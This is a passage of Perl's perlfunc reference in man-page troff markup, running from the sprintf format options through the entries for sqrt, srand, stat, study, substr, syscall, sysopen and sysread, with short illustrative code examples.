\& %O a synonym for %lo
\& %F a synonym for %f
.Ve
.Sp
Note that the number of exponent digits in the scientific notation produced
by \f(CW%e\fR, \f(CW%E\fR, \f(CW%g\fR and \f(CW%G\fR for numbers with the modulus of the
exponent less than 100 is system\-dependent: it may be three or less
(zero\-padded as necessary). In other words, 1.23 times ten to the
99th may be either \*(L"1.23e99\*(R" or \*(L"1.23e099\*(R".
.Sp
Between the \f(CW\*(C`%\*(C'\fR and the format letter, you may specify a number of
additional attributes controlling the interpretation of the format.
In order, these are:
.RS 8
.IP "format parameter index" 4
.IX Item "format parameter index"
An explicit format parameter index, such as \f(CW\*(C`2$\*(C'\fR. By default sprintf
will format the next unused argument in the list, but this allows you
to take the arguments out of order. Eg:
.Sp
.Vb 2
\& printf '%2$d %1$d', 12, 34; # prints "34 12"
\& printf '%3$d %d %1$d', 1, 2, 3; # prints "3 1 1"
.Ve
.IP "flags" 4
.IX Item "flags"
one or more of:
space prefix positive number with a space
+ prefix positive number with a plus sign
\- left-justify within the field
0 use zeros, not spaces, to right-justify
# prefix non-zero octal with \*(L"0\*(R", non-zero hex with \*(L"0x\*(R",
non-zero binary with \*(L"0b\*(R"
.Sp
For example:
.Sp
.Vb 6
\& printf '<% d>', 12; # prints "< 12>"
\& printf '<%+d>', 12; # prints "<+12>"
\& printf '<%6s>', 12; # prints "< 12>"
\& printf '<%-6s>', 12; # prints "<12 >"
\& printf '<%06s>', 12; # prints "<000012>"
\& printf '<%#x>', 12; # prints "<0xc>"
.Ve
.IP "vector flag" 4
.IX Item "vector flag"
The vector flag \f(CW\*(C`v\*(C'\fR, optionally specifying the join string to use.
This flag tells perl to interpret the supplied string as a vector
of integers, one for each character in the string, separated by
a given string (a dot \f(CW\*(C`.\*(C'\fR by default). This can be useful for
displaying ordinal values of characters in arbitrary strings:
.Sp
.Vb 1
\& printf "version is v%vd\en", $^V; # Perl's version
.Ve
.Sp
Put an asterisk \f(CW\*(C`*\*(C'\fR before the \f(CW\*(C`v\*(C'\fR to override the string to
use to separate the numbers:
.Sp
.Vb 2
\& printf "address is %*vX\en", ":", $addr; # IPv6 address
\& printf "bits are %0*v8b\en", " ", $bits; # random bitstring
.Ve
.Sp
You can also explicitly specify the argument number to use for
the join string using eg \f(CW\*(C`*2$v\*(C'\fR:
.Sp
.Vb 1
\& printf '%*4$vX %*4$vX %*4$vX', @addr[1..3], ":"; # 3 IPv6 addresses
.Ve
.IP "(minimum) width" 4
.IX Item "(minimum) width"
Arguments are usually formatted to be only as wide as required to
display the given value. You can override the width by putting
a number here, or get the width from the next argument (with \f(CW\*(C`*\*(C'\fR)
or from a specified argument (with eg \f(CW\*(C`*2$\*(C'\fR):
.Sp
.Vb 5
\& printf '<%s>', "a"; # prints "<a>"
\& printf '<%6s>', "a"; # prints "< a>"
\& printf '<%*s>', 6, "a"; # prints "< a>"
\& printf '<%*2$s>', "a", 6; # prints "< a>"
\& printf '<%2s>', "long"; # prints "<long>" (does not truncate)
.Ve
.Sp
If a field width obtained through \f(CW\*(C`*\*(C'\fR is negative, it has the same
effect as the \f(CW\*(C`\-\*(C'\fR flag: left\-justification.
.IP "precision, or maximum width" 4
.IX Item "precision, or maximum width"
You can specify a precision (for numeric conversions) or a maximum
width (for string conversions) by specifying a \f(CW\*(C`.\*(C'\fR followed by a number.
For floating point formats, with the exception of 'g' and 'G', this specifies
the number of decimal places to show (the default being 6), eg:
.Sp
.Vb 6
\& # these examples are subject to system-specific variation
\& printf '<%f>', 1; # prints "<1.000000>"
\& printf '<%.1f>', 1; # prints "<1.0>"
\& printf '<%.0f>', 1; # prints "<1>"
\& printf '<%e>', 10; # prints "<1.000000e+01>"
\& printf '<%.1e>', 10; # prints "<1.0e+01>"
.Ve
.Sp
For 'g' and 'G', this specifies the maximum number of digits to show,
including prior to the decimal point as well as after it, eg:
.Sp
.Vb 8
\& # these examples are subject to system-specific variation
\& printf '<%g>', 1; # prints "<1>"
\& printf '<%.10g>', 1; # prints "<1>"
\& printf '<%g>', 100; # prints "<100>"
\& printf '<%.1g>', 100; # prints "<1e+02>"
\& printf '<%.2g>', 100.01; # prints "<1e+02>"
\& printf '<%.5g>', 100.01; # prints "<100.01>"
\& printf '<%.4g>', 100.01; # prints "<100>"
.Ve
.Sp
For integer conversions, specifying a precision implies that the
output of the number itself should be zero-padded to this width:
.Sp
.Vb 3
\& printf '<%.6x>', 1; # prints "<000001>"
\& printf '<%#.6x>', 1; # prints "<0x000001>"
\& printf '<%-10.6x>', 1; # prints "<000001 >"
.Ve
.Sp
For string conversions, specifying a precision truncates the string
to fit in the specified width:
.Sp
.Vb 2
\& printf '<%.5s>', "truncated"; # prints "<trunc>"
\& printf '<%10.5s>', "truncated"; # prints "< trunc>"
.Ve
.Sp
You can also get the precision from the next argument using \f(CW\*(C`.*\*(C'\fR:
.Sp
.Vb 2
\& printf '<%.6x>', 1; # prints "<000001>"
\& printf '<%.*x>', 6, 1; # prints "<000001>"
.Ve
.Sp
You cannot currently get the precision from a specified number,
but it is intended that this will be possible in the future using
eg \f(CW\*(C`.*2$\*(C'\fR:
.Sp
.Vb 1
\& printf '<%.*2$x>', 1, 6; # INVALID, but in future will print "<000001>"
.Ve
.IP "size" 4
.IX Item "size"
For numeric conversions, you can specify the size to interpret the
number as using \f(CW\*(C`l\*(C'\fR, \f(CW\*(C`h\*(C'\fR, \f(CW\*(C`V\*(C'\fR, \f(CW\*(C`q\*(C'\fR, \f(CW\*(C`L\*(C'\fR, or \f(CW\*(C`ll\*(C'\fR. For integer
conversions (\f(CW\*(C`d u o x X b i D U O\*(C'\fR), numbers are usually assumed to be
whatever the default integer size is on your platform (usually 32 or 64
bits), but you can override this to use instead one of the standard C types,
as supported by the compiler used to build Perl:
.Sp
.Vb 4
\& l interpret integer as C type "long" or "unsigned long"
\& h interpret integer as C type "short" or "unsigned short"
\& q, L or ll interpret integer as C type "long long", "unsigned long long".
\& or "quads" (typically 64-bit integers)
.Ve
.Sp
The last will produce errors if Perl does not understand \*(L"quads\*(R" in your
installation. (This requires that either the platform natively supports quads
or Perl was specifically compiled to support quads.) You can find out
whether your Perl supports quads via Config:
.Sp
.Vb 3
\& use Config;
\& ($Config{use64bitint} eq 'define' || $Config{longsize} >= 8) &&
\& print "quads\en";
.Ve
.Sp
For floating point conversions (\f(CW\*(C`e f g E F G\*(C'\fR), numbers are usually assumed
to be the default floating point size on your platform (double or long double),
but you can force 'long double' with \f(CW\*(C`q\*(C'\fR, \f(CW\*(C`L\*(C'\fR, or \f(CW\*(C`ll\*(C'\fR if your
platform supports them. You can find out whether your Perl supports long
doubles via Config:
.Sp
.Vb 2
\& use Config;
\& $Config{d_longdbl} eq 'define' && print "long doubles\en";
.Ve
.Sp
You can find out whether Perl considers 'long double' to be the default
floating point size to use on your platform via Config:
.Sp
.Vb 3
\& use Config;
\& ($Config{uselongdouble} eq 'define') &&
\& print "long doubles by default\en";
.Ve
.Sp
It can also be the case that long doubles and doubles are the same thing:
.Sp
.Vb 3
\& use Config;
\& ($Config{doublesize} == $Config{longdblsize}) &&
\& print "doubles are long doubles\en";
.Ve
.Sp
The size specifier \f(CW\*(C`V\*(C'\fR has no effect for Perl code, but it is supported
for compatibility with \s-1XS\s0 code; it means 'use the standard size for
a Perl integer (or floating-point number)', which is already the
default for Perl code.
.IP "order of arguments" 4
.IX Item "order of arguments"
Normally, sprintf takes the next unused argument as the value to
format for each format specification. If the format specification
uses \f(CW\*(C`*\*(C'\fR to require additional arguments, these are consumed from
the argument list in the order in which they appear in the format
specification \fIbefore\fR the value to format. Where an argument is
specified using an explicit index, this does not affect the normal
order for the arguments (even when the explicitly specified index
would have been the next argument in any case).
.Sp
So:
.Sp
.Vb 1
\& printf '<%*.*s>', $a, $b, $c;
.Ve
.Sp
would use \f(CW$a\fR for the width, \f(CW$b\fR for the precision and \f(CW$c\fR
as the value to format, while:
.Sp
.Vb 1
\& print '<%*1$.*s>', $a, $b;
.Ve
.Sp
would use \f(CW$a\fR for the width and the precision, and \f(CW$b\fR as the
value to format.
.Sp
Here are some more examples \- beware that when using an explicit
index, the \f(CW\*(C`$\*(C'\fR may need to be escaped:
.Sp
.Vb 4
\& printf "%2\e$d %d\en", 12, 34; # will print "34 12\en"
\& printf "%2\e$d %d %d\en", 12, 34; # will print "34 12 34\en"
\& printf "%3\e$d %d %d\en", 12, 34, 56; # will print "56 12 34\en"
\& printf "%2\e$*3\e$d %d\en", 12, 34, 3; # will print " 34 12\en"
.Ve
.RE
.RS 8
.Sp
If \f(CW\*(C`use locale\*(C'\fR is in effect, the character used for the decimal
point in formatted real numbers is affected by the \s-1LC_NUMERIC\s0 locale.
See perllocale.
.RE
.IP "sqrt \s-1EXPR\s0" 8
.IX Item "sqrt EXPR"
.PD 0
.IP "sqrt" 8
.IX Item "sqrt"
.PD
Return the square root of \s-1EXPR\s0. If \s-1EXPR\s0 is omitted, returns square
root of \f(CW$_\fR. Only works on non-negative operands, unless you've
loaded the standard Math::Complex module.
.Sp
.Vb 2
\& use Math::Complex;
\& print sqrt(-2); # prints 1.4142135623731i
.Ve
.IP "srand \s-1EXPR\s0" 8
.IX Item "srand EXPR"
.PD 0
.IP "srand" 8
.IX Item "srand"
.PD
Sets the random number seed for the \f(CW\*(C`rand\*(C'\fR operator.
.Sp
The point of the function is to \*(L"seed\*(R" the \f(CW\*(C`rand\*(C'\fR function so that
\&\f(CW\*(C`rand\*(C'\fR can produce a different sequence each time you run your
program.
.Sp
If \fIsrand()\fR is not called explicitly, it is called implicitly at the
first use of the \f(CW\*(C`rand\*(C'\fR operator. However, this was not the case in
versions of Perl before 5.004, so if your script will run under older
Perl versions, it should call \f(CW\*(C`srand\*(C'\fR.
.Sp
Most programs won't even call \fIsrand()\fR at all, except those that
need a cryptographically-strong starting point rather than the
generally acceptable default, which is based on time of day,
process \s-1ID\s0, and memory allocation, or the \fI/dev/urandom\fR device,
if available.
.Sp
You can call srand($seed) with the same \f(CW$seed\fR to reproduce the
\&\fIsame\fR sequence from \fIrand()\fR, but this is usually reserved for
generating predictable results for testing or debugging.
Otherwise, don't call \fIsrand()\fR more than once in your program.
.Sp
Do \fBnot\fR call \fIsrand()\fR (i.e. without an argument) more than once in
a script. The internal state of the random number generator should
contain more entropy than can be provided by any seed, so calling
\&\fIsrand()\fR again actually \fIloses\fR randomness.
.Sp
Most implementations of \f(CW\*(C`srand\*(C'\fR take an integer and will silently
truncate decimal numbers. This means \f(CW\*(C`srand(42)\*(C'\fR will usually
produce the same results as \f(CW\*(C`srand(42.1)\*(C'\fR. To be safe, always pass
\&\f(CW\*(C`srand\*(C'\fR an integer.
.Sp
In versions of Perl prior to 5.004 the default seed was just the
current \f(CW\*(C`time\*(C'\fR. This isn't a particularly good seed, so many old
programs supply their own seed value (often \f(CW\*(C`time ^ $$\*(C'\fR or \f(CW\*(C`time ^
($$ + ($$ << 15))\*(C'\fR), but that isn't necessary any more.
.Sp
Note that you need something much more random than the default seed for
cryptographic purposes. Checksumming the compressed output of one or more
rapidly changing operating system status programs is the usual method. For
example:
.Sp
.Vb 1
\& srand (time ^ $$ ^ unpack "%L*", `ps axww | gzip`);
.Ve
.Sp
If you're particularly concerned with this, see the \f(CW\*(C`Math::TrulyRandom\*(C'\fR
module in \s-1CPAN\s0.
.Sp
Frequently called programs (like \s-1CGI\s0 scripts) that simply use
.Sp
.Vb 1
\& time ^ $$
.Ve
.Sp
for a seed can fall prey to the mathematical property that
.Sp
.Vb 1
\& a^b == (a+1)^(b+1)
.Ve
.Sp
one-third of the time. So don't do that.
.IP "stat \s-1FILEHANDLE\s0" 8
.IX Item "stat FILEHANDLE"
.PD 0
.IP "stat \s-1EXPR\s0" 8
.IX Item "stat EXPR"
.IP "stat" 8
.IX Item "stat"
.PD
Returns a 13\-element list giving the status info for a file, either
the file opened via \s-1FILEHANDLE\s0, or named by \s-1EXPR\s0. If \s-1EXPR\s0 is omitted,
it stats \f(CW$_\fR. Returns a null list if the stat fails. Typically used
as follows:
.Sp
.Vb 3
\& ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
\& $atime,$mtime,$ctime,$blksize,$blocks)
\& = stat($filename);
.Ve
.Sp
Not all fields are supported on all filesystem types. Here are the
meaning of the fields:
.Sp
.Vb 13
\& 0 dev device number of filesystem
\& 1 ino inode number
\& 2 mode file mode (type and permissions)
\& 3 nlink number of (hard) links to the file
\& 4 uid numeric user ID of file's owner
\& 5 gid numeric group ID of file's owner
\& 6 rdev the device identifier (special files only)
\& 7 size total size of file, in bytes
\& 8 atime last access time in seconds since the epoch
\& 9 mtime last modify time in seconds since the epoch
\& 10 ctime inode change time in seconds since the epoch (*)
\& 11 blksize preferred block size for file system I/O
\& 12 blocks actual number of blocks allocated
.Ve
.Sp
(The epoch was at 00:00 January 1, 1970 \s-1GMT\s0.)
.Sp
(*) The ctime field is non\-portable, in particular you cannot expect
it to be a \*(L"creation time\*(R", see \*(L"Files and Filesystems\*(R" in perlport
for details.
.Sp
If stat is passed the special filehandle consisting of an underline, no
stat is done, but the current contents of the stat structure from the
last stat or filetest are returned. Example:
.Sp
.Vb 3
\& if (-x $file && (($d) = stat(_)) && $d < 0) {
\& print "$file is executable NFS file\en";
\& }
.Ve
.Sp
(This works on machines only for which the device number is negative
under \s-1NFS\s0.)
.Sp
Because the mode contains both the file type and its permissions, you
should mask off the file type portion and (s)printf using a \f(CW"%o"\fR
if you want to see the real permissions.
.Sp
.Vb 2
\& $mode = (stat($filename))[2];
\& printf "Permissions are %04o\en", $mode & 07777;
.Ve
.Sp
In scalar context, \f(CW\*(C`stat\*(C'\fR returns a boolean value indicating success
or failure, and, if successful, sets the information associated with
the special filehandle \f(CW\*(C`_\*(C'\fR.
.Sp
The File::stat module provides a convenient, by-name access mechanism:
.Sp
.Vb 5
\& use File::stat;
\& $sb = stat($filename);
\& printf "File is %s, size is %s, perm %04o, mtime %s\en",
\& $filename, $sb->size, $sb->mode & 07777,
\& scalar localtime $sb->mtime;
.Ve
.Sp
You can import symbolic mode constants (\f(CW\*(C`S_IF*\*(C'\fR) and functions
(\f(CW\*(C`S_IS*\*(C'\fR) from the Fcntl module:
.Sp
.Vb 1
\& use Fcntl ':mode';
.Ve
.Sp
.Vb 1
\& $mode = (stat($filename))[2];
.Ve
.Sp
.Vb 3
\& $user_rwx = ($mode & S_IRWXU) >> 6;
\& $group_read = ($mode & S_IRGRP) >> 3;
\& $other_execute = $mode & S_IXOTH;
.Ve
.Sp
.Vb 1
\& printf "Permissions are %04o\en", S_IMODE($mode), "\en";
.Ve
.Sp
.Vb 2
\& $is_setuid = $mode & S_ISUID;
\& $is_setgid = S_ISDIR($mode);
.Ve
.Sp
You could write the last two using the \f(CW\*(C`\-u\*(C'\fR and \f(CW\*(C`\-d\*(C'\fR operators.
The commonly available S_IF* constants are
.Sp
.Vb 1
\& # Permissions: read, write, execute, for user, group, others.
.Ve
.Sp
.Vb 3
\& S_IRWXU S_IRUSR S_IWUSR S_IXUSR
\& S_IRWXG S_IRGRP S_IWGRP S_IXGRP
\& S_IRWXO S_IROTH S_IWOTH S_IXOTH
.Ve
.Sp
.Vb 2
\& # Setuid/Setgid/Stickiness/SaveText.
\& # Note that the exact meaning of these is system dependent.
.Ve
.Sp
.Vb 1
\& S_ISUID S_ISGID S_ISVTX S_ISTXT
.Ve
.Sp
.Vb 1
\& # File types. Not necessarily all are available on your system.
.Ve
.Sp
.Vb 1
\& S_IFREG S_IFDIR S_IFLNK S_IFBLK S_ISCHR S_IFIFO S_IFSOCK S_IFWHT S_ENFMT
.Ve
.Sp
.Vb 1
\& # The following are compatibility aliases for S_IRUSR, S_IWUSR, S_IXUSR.
.Ve
.Sp
.Vb 1
\& S_IREAD S_IWRITE S_IEXEC
.Ve
.Sp
and the S_IF* functions are
.Sp
.Vb 2
\& S_IMODE($mode) the part of $mode containing the permission bits
\& and the setuid/setgid/sticky bits
.Ve
.Sp
.Vb 3
\& S_IFMT($mode) the part of $mode containing the file type
\& which can be bit-anded with e.g. S_IFREG
\& or with the following functions
.Ve
.Sp
.Vb 1
\& # The operators -f, -d, -l, -b, -c, -p, and -s.
.Ve
.Sp
.Vb 2
\& S_ISREG($mode) S_ISDIR($mode) S_ISLNK($mode)
\& S_ISBLK($mode) S_ISCHR($mode) S_ISFIFO($mode) S_ISSOCK($mode)
.Ve
.Sp
.Vb 3
\& # No direct -X operator counterpart, but for the first one
\& # the -g operator is often equivalent. The ENFMT stands for
\& # record flocking enforcement, a platform-dependent feature.
.Ve
.Sp
.Vb 1
\& S_ISENFMT($mode) S_ISWHT($mode)
.Ve
.Sp
See your native \fIchmod\fR\|(2) and \fIstat\fR\|(2) documentation for more details
about the S_* constants.
.Sp
To get status info for a symbolic link instead of the target file
behind the link, use the \f(CW\*(C`lstat\*(C'\fR function, see \*(L"stat\*(R".
.IP "study \s-1SCALAR\s0" 8
.IX Item "study SCALAR"
.PD 0
.IP "study" 8
.IX Item "study"
.PD
Takes extra time to study \s-1SCALAR\s0 (\f(CW$_\fR if unspecified) in anticipation of
doing many pattern matches on the string before it is next modified.
This may or may not save time, depending on the nature and number of
patterns you are searching on, and on the distribution of character
frequencies in the string to be searched\*(--you probably want to compare
run times with and without it to see which runs faster. Those loops
which scan for many short constant strings (including the constant
parts of more complex patterns) will benefit most. You may have only
one \f(CW\*(C`study\*(C'\fR active at a time\*(--if you study a different scalar the first
is \*(L"unstudied\*(R". (The way \f(CW\*(C`study\*(C'\fR works is this: a linked list of every
character in the string to be searched is made, so we know, for
example, where all the \f(CW'k'\fR characters are. From each search string,
the rarest character is selected, based on some static frequency tables
constructed from some C programs and English text. Only those places
that contain this \*(L"rarest\*(R" character are examined.)
.Sp
For example, here is a loop that inserts index producing entries
before any line containing a certain pattern:
.Sp
.Vb 8
\& while (<>) {
\& study;
\& print ".IX foo\en" if /\ebfoo\eb/;
\& print ".IX bar\en" if /\ebbar\eb/;
\& print ".IX blurfl\en" if /\ebblurfl\eb/;
\& # ...
\& print;
\& }
.Ve
.Sp
In searching for \f(CW\*(C`/\ebfoo\eb/\*(C'\fR, only those locations in \f(CW$_\fR that contain \f(CW\*(C`f\*(C'\fR
will be looked at, because \f(CW\*(C`f\*(C'\fR is rarer than \f(CW\*(C`o\*(C'\fR. In general, this is
a big win except in pathological cases. The only question is whether
it saves you more time than it took to build the linked list in the
first place.
.Sp
Note that if you have to look for strings that you don't know till
runtime, you can build an entire loop as a string and \f(CW\*(C`eval\*(C'\fR that to
avoid recompiling all your patterns all the time. Together with
undefining \f(CW$/\fR to input entire files as one record, this can be very
fast, often faster than specialized programs like \fIfgrep\fR\|(1). The following
scans a list of files (\f(CW@files\fR) for a list of words (\f(CW@words\fR), and prints
out the names of those files that contain a match:
.Sp
.Vb 12
\& $search = 'while (<>) { study;';
\& foreach $word (@words) {
\& $search .= "++\e$seen{\e$ARGV} if /\e\eb$word\e\eb/;\en";
\& }
\& $search .= "}";
\& @ARGV = @files;
\& undef $/;
\& eval $search; # this screams
\& $/ = "\en"; # put back to normal input delimiter
\& foreach $file (sort keys(%seen)) {
\& print $file, "\en";
\& }
.Ve
.IP "sub \s-1NAME\s0 \s-1BLOCK\s0" 8
.IX Item "sub NAME BLOCK"
.PD 0
.IP "sub \s-1NAME\s0 (\s-1PROTO\s0) \s-1BLOCK\s0" 8
.IX Item "sub NAME (PROTO) BLOCK"
.IP "sub \s-1NAME\s0 : \s-1ATTRS\s0 \s-1BLOCK\s0" 8
.IX Item "sub NAME : ATTRS BLOCK"
.IP "sub \s-1NAME\s0 (\s-1PROTO\s0) : \s-1ATTRS\s0 \s-1BLOCK\s0" 8
.IX Item "sub NAME (PROTO) : ATTRS BLOCK"
.PD
This is subroutine definition, not a real function \fIper se\fR.
Without a \s-1BLOCK\s0 it's just a forward declaration. Without a \s-1NAME\s0,
it's an anonymous function declaration, and does actually return
a value: the \s-1CODE\s0 ref of the closure you just created.
.Sp
See perlsub and perlref for details about subroutines and
references, and attributes and Attribute::Handlers for more
information about attributes.
.IP "substr \s-1EXPR\s0,OFFSET,LENGTH,REPLACEMENT" 8
.IX Item "substr EXPR,OFFSET,LENGTH,REPLACEMENT"
.PD 0
.IP "substr \s-1EXPR\s0,OFFSET,LENGTH" 8
.IX Item "substr EXPR,OFFSET,LENGTH"
.IP "substr \s-1EXPR\s0,OFFSET" 8
.IX Item "substr EXPR,OFFSET"
.PD
Extracts a substring out of \s-1EXPR\s0 and returns it. First character is at
offset \f(CW0\fR, or whatever you've set \f(CW$[\fR to (but don't do that).
If \s-1OFFSET\s0 is negative (or more precisely, less than \f(CW$[\fR), starts
that far from the end of the string. If \s-1LENGTH\s0 is omitted, returns
everything to the end of the string. If \s-1LENGTH\s0 is negative, leaves that
many characters off the end of the string.
.Sp
You can use the \fIsubstr()\fR function as an lvalue, in which case \s-1EXPR\s0
must itself be an lvalue. If you assign something shorter than \s-1LENGTH\s0,
the string will shrink, and if you assign something longer than \s-1LENGTH\s0,
the string will grow to accommodate it. To keep the string the same
length you may need to pad or chop your value using \f(CW\*(C`sprintf\*(C'\fR.
.Sp
If \s-1OFFSET\s0 and \s-1LENGTH\s0 specify a substring that is partly outside the
string, only the part within the string is returned. If the substring
is beyond either end of the string, \fIsubstr()\fR returns the undefined
value and produces a warning. When used as an lvalue, specifying a
substring that is entirely outside the string is a fatal error.
Here's an example showing the behavior for boundary cases:
.Sp
.Vb 5
\& my $name = 'fred';
\& substr($name, 4) = 'dy'; # $name is now 'freddy'
\& my $null = substr $name, 6, 2; # returns '' (no warning)
\& my $oops = substr $name, 7; # returns undef, with warning
\& substr($name, 7) = 'gap'; # fatal error
.Ve
.Sp
An alternative to using \fIsubstr()\fR as an lvalue is to specify the
replacement string as the 4th argument. This allows you to replace
parts of the \s-1EXPR\s0 and return what was there before in one operation,
just as you can with \fIsplice()\fR.
.Sp
If the lvalue returned by substr is used after the \s-1EXPR\s0 is changed in
any way, the behaviour may not be as expected and is subject to change.
This caveat includes code such as \f(CW\*(C`print(substr($foo,$a,$b)=$bar)\*(C'\fR or
\&\f(CW\*(C`(substr($foo,$a,$b)=$bar)=$fud\*(C'\fR (where \f(CW$foo\fR is changed via the
substring assignment, and then the substr is used again), or where a
\&\fIsubstr()\fR is aliased via a \f(CW\*(C`foreach\*(C'\fR loop or passed as a parameter or
a reference to it is taken and then the alias, parameter, or deref'd
reference either is used after the original \s-1EXPR\s0 has been changed or
is assigned to and then used a second time.
.IP "symlink \s-1OLDFILE\s0,NEWFILE" 8
.IX Item "symlink OLDFILE,NEWFILE"
Creates a new filename symbolically linked to the old filename.
Returns \f(CW1\fR for success, \f(CW0\fR otherwise. On systems that don't support
symbolic links, produces a fatal error at run time. To check for that,
use eval:
.Sp
.Vb 1
\& $symlink_exists = eval { symlink("",""); 1 };
.Ve
.IP "syscall \s-1NUMBER\s0, \s-1LIST\s0" 8
.IX Item "syscall NUMBER, LIST"
Calls the system call specified as the first element of the list,
passing the remaining elements as arguments to the system call. If
unimplemented, produces a fatal error. The arguments are interpreted
as follows: if a given argument is numeric, the argument is passed as
an int. If not, the pointer to the string value is passed. You are
responsible to make sure a string is pre-extended long enough to
receive any result that might be written into a string. You can't use a
string literal (or other read-only string) as an argument to \f(CW\*(C`syscall\*(C'\fR
because Perl has to assume that any string pointer might be written
through. If your
integer arguments are not literals and have never been interpreted in a
numeric context, you may need to add \f(CW0\fR to them to force them to look
like numbers. This emulates the \f(CW\*(C`syswrite\*(C'\fR function (or vice versa):
.Sp
.Vb 3
\& require 'syscall.ph'; # may need to run h2ph
\& $s = "hi there\en";
\& syscall(&SYS_write, fileno(STDOUT), $s, length $s);
.Ve
.Sp
Note that Perl supports passing of up to only 14 arguments to your system call,
which in practice should usually suffice.
.Sp
Syscall returns whatever value returned by the system call it calls.
If the system call fails, \f(CW\*(C`syscall\*(C'\fR returns \f(CW\*(C`\-1\*(C'\fR and sets \f(CW$!\fR (errno).
Note that some system calls can legitimately return \f(CW\*(C`\-1\*(C'\fR. The proper
way to handle such calls is to assign \f(CW\*(C`$!=0;\*(C'\fR before the call and
check the value of \f(CW$!\fR if syscall returns \f(CW\*(C`\-1\*(C'\fR.
.Sp
There's a problem with \f(CW\*(C`syscall(&SYS_pipe)\*(C'\fR: it returns the file
number of the read end of the pipe it creates. There is no way
to retrieve the file number of the other end. You can avoid this
problem by using \f(CW\*(C`pipe\*(C'\fR instead.
.IP "sysopen \s-1FILEHANDLE\s0,FILENAME,MODE" 8
.IX Item "sysopen FILEHANDLE,FILENAME,MODE"
.PD 0
.IP "sysopen \s-1FILEHANDLE\s0,FILENAME,MODE,PERMS" 8
.IX Item "sysopen FILEHANDLE,FILENAME,MODE,PERMS"
.PD
Opens the file whose filename is given by \s-1FILENAME\s0, and associates it
with \s-1FILEHANDLE\s0. If \s-1FILEHANDLE\s0 is an expression, its value is used as
the name of the real filehandle wanted. This function calls the
underlying operating system's \f(CW\*(C`open\*(C'\fR function with the parameters
\&\s-1FILENAME\s0, \s-1MODE\s0, \s-1PERMS\s0.
.Sp
The possible values and flag bits of the \s-1MODE\s0 parameter are
system\-dependent; they are available via the standard module \f(CW\*(C`Fcntl\*(C'\fR.
See the documentation of your operating system's \f(CW\*(C`open\*(C'\fR to see which
values and flag bits are available. You may combine several flags
using the \f(CW\*(C`|\*(C'\fR\-operator.
.Sp
Some of the most common values are \f(CW\*(C`O_RDONLY\*(C'\fR for opening the file in
read-only mode, \f(CW\*(C`O_WRONLY\*(C'\fR for opening the file in write-only mode,
and \f(CW\*(C`O_RDWR\*(C'\fR for opening the file in read-write mode, and.
.Sp
For historical reasons, some values work on almost every system
supported by perl: zero means read\-only, one means write\-only, and two
means read/write. We know that these values do \fInot\fR work under
\&\s-1OS/390\s0 & \s-1VM/ESA\s0 Unix and on the Macintosh; you probably don't want to
use them in new code.
.Sp
If the file named by \s-1FILENAME\s0 does not exist and the \f(CW\*(C`open\*(C'\fR call creates
it (typically because \s-1MODE\s0 includes the \f(CW\*(C`O_CREAT\*(C'\fR flag), then the value of
\&\s-1PERMS\s0 specifies the permissions of the newly created file. If you omit
the \s-1PERMS\s0 argument to \f(CW\*(C`sysopen\*(C'\fR, Perl uses the octal value \f(CW0666\fR.
These permission values need to be in octal, and are modified by your
process's current \f(CW\*(C`umask\*(C'\fR.
.Sp
In many systems the \f(CW\*(C`O_EXCL\*(C'\fR flag is available for opening files in
exclusive mode. This is \fBnot\fR locking: exclusiveness means here that
if the file already exists, \fIsysopen()\fR fails. The \f(CW\*(C`O_EXCL\*(C'\fR wins
\&\f(CW\*(C`O_TRUNC\*(C'\fR.
.Sp
Sometimes you may want to truncate an already-existing file: \f(CW\*(C`O_TRUNC\*(C'\fR.
.Sp
You should seldom if ever use \f(CW0644\fR as argument to \f(CW\*(C`sysopen\*(C'\fR, because
that takes away the user's option to have a more permissive umask.
Better to omit it. See the \fIperlfunc\fR\|(1) entry on \f(CW\*(C`umask\*(C'\fR for more
on this.
.Sp
Note that \f(CW\*(C`sysopen\*(C'\fR depends on the \fIfdopen()\fR C library function.
On many \s-1UNIX\s0 systems, \fIfdopen()\fR is known to fail when file descriptors
exceed a certain value, typically 255. If you need more file
descriptors than that, consider rebuilding Perl to use the \f(CW\*(C`sfio\*(C'\fR
library, or perhaps using the \fIPOSIX::open()\fR function.
.Sp
See perlopentut for a kinder, gentler explanation of opening files.
.IP "sysread \s-1FILEHANDLE\s0,SCALAR,LENGTH,OFFSET" 8
.IX Item "sysread FILEHANDLE,SCALAR,LENGTH,OFFSET"
.PD 0
.IP "sysread \s-1FILEHANDLE\s0,SCALAR,LENGTH" 8
.IX Item "sysread FILEHANDLE,SCALAR,LENGTH"
.PD
Attempts to read \s-1LENGTH\s0 bytes of data into variable \s-1SCALAR\s0 from the
specified \s-1FILEHANDLE\s0, using the system call \fIread\fR\|(2). It bypasses
buffered \s-1IO\s0, so mixing this with other kinds of reads, \f(CW\*(C`print\*(C'\fR,
\&\f(CW\*(C`write\*(C'\fR, \f(CW\*(C`seek\*(C'\fR, \f(CW\*(C`tell\*(C'\fR, or \f(CW\*(C`eof\*(C'\fR can cause confusion because the
perlio or stdio layers usually buffers data. Returns the number of
bytes actually read, \f(CW0\fR at end of file, or undef if there was an
error (in the latter case \f(CW$!\fR is also set). \s-1SCALAR\s0 will be grown or
shrunk so that the last byte actually read is the last byte of the
scalar after the read.
.Sp
An \s-1OFFSET\s0 may be specified to place the read data at some place in the
string other than the beginning. A negative \s-1OFFSET\s0 specifies
placement at that many characters counting backwards from the end of
the string. A positive \s-1OFFSET\s0 greater than the length of \s-1SCALAR\s0
results in the string being padded to the required size with \f(CW"\e0"\fR
bytes before the result of the read is appended.
.Sp
There is no \fIsyseof()\fR function, which is ok, since \fIeof()\fR doesn't work
very well on device files (like ttys) anyway. Use \fIsysread()\fR and check
for a return value for 0 to decide whether you're done.
.Sp
Note that if the filehandle has been marked as \f(CW\*(C`:utf8\*(C'\fR Unicode
characters are read instead of bytes (the \s-1LENGTH\s0, \s-1OFFSET\s0, and the
return value of \fIsysread()\fR are in Unicode characters).
The \f(CW\*(C`:encoding(...)\*(C'\fR layer implicitly introduces the \f(CW\*(C`:utf8\*(C'\fR layer.
See \*(L"binmode\*(R", \*(L"open\*(R", and the \f(CW\*(C`open\*(C'\fR pragma, open.
.IP "sysseek \s-1FILEHANDLE\s0,POSITION,WHENCE" 8
.IX Item "sysseek FILEHANDLE,POSITION,WHENCE"
Sets \s-1FILEHANDLE\s0's system position in bytes using the system call
\&\fIlseek\fR\|(2). \s-1FILEHANDLE\s0 may be an expression whose value gives the name
of the filehandle. The values for \s-1WHENCE\s0 are \f(CW0\fR to set the new
